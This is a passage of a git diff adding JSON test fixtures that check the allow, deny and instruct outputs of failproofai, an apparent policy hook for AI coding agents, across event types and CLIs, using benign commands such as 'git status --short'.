"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0e6c3449 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bdb6740b --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9cf46504 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..01aa0828 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a31cad02 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fccad634 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..874dc80f --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2d662250 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1ab42881 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..650be8e4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..36bdf826 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..91bd9460 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5ca54d0d --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..eeaf09c7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..94300169 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e8287abf --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..85a85611 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9a3edb7a --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6acf2601 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 